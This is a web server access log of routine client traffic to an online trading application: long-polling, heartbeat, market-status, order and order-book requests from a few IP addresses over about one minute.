[09/Jan/2026:14:21:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939940989 HTTP/1.1" -
[09/Jan/2026:14:21:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939951748 HTTP/1.1" -
[09/Jan/2026:14:21:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939961199 HTTP/1.1" -
[09/Jan/2026:14:21:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939944314 HTTP/1.1" -
[09/Jan/2026:14:21:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939946066 HTTP/1.1" -
[09/Jan/2026:14:21:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939956827 HTTP/1.1" -
[09/Jan/2026:14:21:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939949366 HTTP/1.1" -
[09/Jan/2026:14:21:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939967194 HTTP/1.1" -
[09/Jan/2026:14:21:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939951193 HTTP/1.1" -
[09/Jan/2026:14:21:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939961865 HTTP/1.1" -
[09/Jan/2026:14:21:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939954437 HTTP/1.1" -
[09/Jan/2026:14:21:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939956340 HTTP/1.1" -
[09/Jan/2026:14:21:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939973189 HTTP/1.1" -
[09/Jan/2026:14:21:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939966893 HTTP/1.1" -
[09/Jan/2026:14:21:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939959481 HTTP/1.1" -
[09/Jan/2026:14:21:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939961464 HTTP/1.1" -
[09/Jan/2026:14:21:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939979186 HTTP/1.1" -
[09/Jan/2026:14:21:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939971984 HTTP/1.1" -
[09/Jan/2026:14:21:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939964704 HTTP/1.1" -
[09/Jan/2026:14:21:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939966658 HTTP/1.1" -
[09/Jan/2026:14:21:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939985191 HTTP/1.1" -
[09/Jan/2026:14:21:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939977051 HTTP/1.1" -
[09/Jan/2026:14:21:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939969788 HTTP/1.1" -
[09/Jan/2026:14:21:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939971714 HTTP/1.1" -
[09/Jan/2026:14:21:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939991186 HTTP/1.1" -
[09/Jan/2026:14:21:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939982133 HTTP/1.1" -
[09/Jan/2026:14:21:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939975087 HTTP/1.1" -
[09/Jan/2026:14:21:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939976750 HTTP/1.1" -
[09/Jan/2026:14:21:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939987198 HTTP/1.1" -
[09/Jan/2026:14:21:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939997185 HTTP/1.1" -
[09/Jan/2026:14:21:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939980167 HTTP/1.1" -
[09/Jan/2026:14:21:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939982011 HTTP/1.1" -
[09/Jan/2026:14:21:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939992225 HTTP/1.1" -
[09/Jan/2026:14:21:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939985287 HTTP/1.1" -
[09/Jan/2026:14:21:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940003189 HTTP/1.1" -
[09/Jan/2026:14:21:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939987144 HTTP/1.1" -
[09/Jan/2026:14:22:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939997263 HTTP/1.1" -
[09/Jan/2026:14:22:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939990320 HTTP/1.1" -
[09/Jan/2026:14:22:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939992345 HTTP/1.1" -
[09/Jan/2026:14:22:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940009188 HTTP/1.1" -
[09/Jan/2026:14:22:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:22:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1220
[09/Jan/2026:14:22:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:22:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940002361 HTTP/1.1" -
[09/Jan/2026:14:22:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939995419 HTTP/1.1" -
[09/Jan/2026:14:22:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=81B17D1F48FDD74D751DD67AC7B51335 HTTP/1.1" 1020
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939997522 HTTP/1.1" -
[09/Jan/2026:14:22:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:22:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:22:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940015200 HTTP/1.1" -
[09/Jan/2026:14:22:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:22:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1175
[09/Jan/2026:14:22:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940007460 HTTP/1.1" -
[09/Jan/2026:14:22:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940000509 HTTP/1.1" -
[09/Jan/2026:14:22:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940002565 HTTP/1.1" -
[09/Jan/2026:14:22:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940021198 HTTP/1.1" -
[09/Jan/2026:14:22:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940012492 HTTP/1.1" -
